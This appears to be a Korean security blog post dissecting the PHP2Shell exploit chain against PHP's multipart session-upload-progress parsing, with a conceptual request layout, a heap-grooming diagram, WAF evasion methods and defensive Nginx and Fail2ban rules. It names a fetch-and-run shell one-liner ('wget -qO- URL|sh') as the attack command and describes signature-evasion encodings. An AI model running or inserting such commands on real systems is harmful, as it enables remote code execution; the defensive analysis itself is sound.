500바이트 미만 익스플로잇 해부: PHP2Shell이 WAF 본문 검사를 우회하는 이유
500바이트 미만 익스플로잇 해부: PHP2Shell이 WAF 본문 검사를 우회하는 이유
<time datetime="2026-10-23">검증일: 2026년 10월 23일</time>
CVE-2026-109618과 CVE-2026-109619의 실제 공격 트래픽을 분석하면 놀라운 사실이 드러납니다. 완전한 원격 코드 실행을 달성하는 HTTP 요청 본문이 450~500바이트에 불과한 경우가 많습니다. 이는 "대용량 POST를 차단하면 안전하다"는 통념을 정면으로 무너뜨립니다. WAF 벤더의 본문 길이 임계값(보통 1MB 이상)은 이런 초소형 요청을 전혀 검사하지 않으며, 검사하더라도 정상적인 멀티파트 요청과 구분하기 어렵습니다.
1. 왜 500바이트 안에 들어가는가
페이로드가 작은 데에는 구조적 이유가 있습니다.
- 취약점이 엔진 내부에 있다: 공격자가 셸코드를 주입할 필요가 없습니다. PHP 엔진이 이미
system()을 호출할 수 있는 코드 경로를 갖고 있으므로, 공격자는 포인터와 길이 필드만 조작하면 됩니다. - 세션 파일을 이용한다: 진행률 데이터는 세션 저장소에 기록됩니다. 공격자는 세션 ID만 제어하면 되고, 큰 파일을 업로드할 필요가 없습니다.
- 멀티파트 헤더가 재사용된다:
Content-Type,boundary,Content-Disposition은 고정 오버헤드이며, 실제 공격 데이터는 수십 바이트 수준입니다. - 압축과 인코딩: 명령 문자열은 짧은 셸 원라이너(
wget -qO- URL|sh)로 축약됩니다.
2. 450바이트 압축 페이로드 레이아웃
아래는 방어 연구용으로 재구성한 개념적 레이아웃입니다. 실제 공격 코드는 아닙니다.
POST /index.php HTTP/1.1 ~ 38 bytes
Host: victim.example ~ 24 bytes
Content-Type: multipart/form-data;
boundary=----x ~ 58 bytes
Content-Length: 3xx ~ 20 bytes
Connection: keep-alive ~ 22 bytes
~ 4 bytes
------x ~ 8 bytes
Content-Disposition: form-data;
name="PHP_SESSION_UPLOAD_PROGRESS" ~ 66 bytes
~ 2 bytes
<세션 ID 및 진행률 제어 값> ~ 40 bytes
------x ~ 8 bytes
Content-Disposition: form-data;
name="f"; filename="a" ~ 52 bytes
Content-Type: application/octet-stream ~ 38 bytes
~ 2 bytes
<Fake zval 및 힙 그루밍 바이트> ~ 96 bytes
------x-- ~ 10 bytes
합계는 약 450바이트입니다. 핵심은 PHP_SESSION_UPLOAD_PROGRESS라는 필드 이름과 경계 문자열뿐이며, 나머지는 ZMM 재사용을 유도하는 패딩입니다.
3. 기존 WAF 방어가 실패하는 이유
오해 1: "대용량 POST를 차단하면 된다"
본문 길이 기반 규칙은 450바이트 요청을 통과시킵니다. 오히려 공격자는 본문을 의도적으로 작게 유지하여 검사 우선순위에서 밀려나게 합니다.
오해 2: "우리 엔드포인트는 파일 업로드를 받지 않는다"
멀티파트 파서는 라우팅 이전에 동작합니다. /login, /api/v1/health, 존재하지 않는 /404도 동일하게 파싱됩니다. 애플리케이션 라우트가 업로드를 허용하지 않는다는 사실은 방어에 아무 도움이 되지 않습니다.
오해 3: "입력 검증으로 막을 수 있다"
입력 검증은 PHP 사용자 코드에서 수행됩니다. 취약점은 그 코드가 실행되기 전에 트리거됩니다. filter_input, htmlspecialchars, ORM 파라미터 바인딩 모두 무관합니다.
오해 4: "정규식 시그니처로 PHP_SESSION_UPLOAD_PROGRESS를 잡으면 된다"
공격자는 필드 이름을 대소문자 혼합, 퍼센트 인코딩, 멀티파트 헤더 분할 등으로 변형할 수 있습니다. RFC1867 파서는 이러한 변형을 정규화하여 해석하므로, 문자열 매칭은 쉽게 우회됩니다. 근본 차단은 PHP 엔진 설정 또는 패치입니다.
4. 공격 표면: 두 요청의 동기화
실무에서 관측되는 익스플로잇은 단일 요청이 아니라 두 개 이상의 요청을 동기화합니다.
[ 요청 A: 힙 그루밍 ] [ 요청 B: 트리거 ]
multipart + 대량 패딩 세션 리셋 유도
→ Bin 상태 정렬 → 댕글링 포인터 재사용
│ │
└──────────── 시간 동기화 ───────────┘
▼
Fake zval 덮어쓰기
▼
vtable → system()
FPM 워커 풀이 작을수록 두 요청이 같은 워커에 배정될 확률이 높아집니다. 반대로 pm.max_children이 크고 부하가 분산되면 공격 성공률이 떨어집니다. 이는 방어 설계에 중요한 힌트를 줍니다.
5. 운영 환경 탐지와 차단
5.1 의심 요청 식별
# multipart 요청 중 비정상적으로 작은 본문과 반복 패턴
sudo awk '$0 ~ /multipart\/form-data/ {print}' /var/log/nginx/access.log | \
awk '{print $1, $7, $9, $10}' | sort | uniq -c | sort -rn | head -30
5.2 Nginx 레벨 보조 규칙
# 업로드가 필요 없는 location에서 multipart 자체를 거부
location /api/ {
if ($http_content_type ~* "multipart/form-data") {
return 415;
}
client_max_body_size 256k;
include fastcgi_params;
fastcgi_pass unix:/run/php/php8.3-fpm.sock;
}
5.3 Fail2ban 연동
# /etc/fail2ban/filter.d/php2shell.conf
[Definition]
failregex = ^<HOST> .* "POST [^"]*" (200|404|413) .*multipart/form-data
ignoreregex =
# /etc/fail2ban/jail.d/php2shell.local
[php2shell]
enabled = true
filter = php2shell
logpath = /var/log/nginx/access.log
maxretry = 20
findtime = 60
bantime = 3600
빈도 기반 차단은 오탐 위험이 있으므로, 정상 업로드 경로를 화이트리스트에 추가해야 합니다.
6. 레드팀 관점의 교훈
- 페이로드 크기는 보안 지표가 아니다: 450바이트가 4MB보다 위험할 수 있습니다.
- 파서 계층을 공격면에 포함하라: 라우팅, 인증, 프레임워크 미들웨어보다 아래 계층이 실제 공격 지점입니다.
- 패치가 유일한 근본 해결이다: WAF는 시간을 벌어줄 뿐이며, 500바이트 미만 페이로드에는 거의 무력합니다.
7. FAQ
Q1. 존재하지 않는 404 엔드포인트로 보내도 터지나요? 예. 멀티파트 파싱은 라우팅 이전에 시작되므로 404 핸들러도 공격면입니다.
Q2. 정규식 기반 WAF 시그니처가 왜 무력한가요? 필드 이름과 경계 문자열을 정규화·분할·인코딩할 수 있고, 파서는 이를 정상 필드로 해석하기 때문입니다. 또한 본문이 작아 길이 기반 검사도 통과합니다.
Q3. 가장 빠른 확인 방법은?
php -r 'var_dump(ini_get("session.upload_progress.enabled"));'로 콜백 활성화 여부를 확인하고, 패치 버전(8.5.12 / 8.4.27 / 8.3.36 / 8.2.35) 이상인지 php -v와 패키지 관리자로 검증하십시오.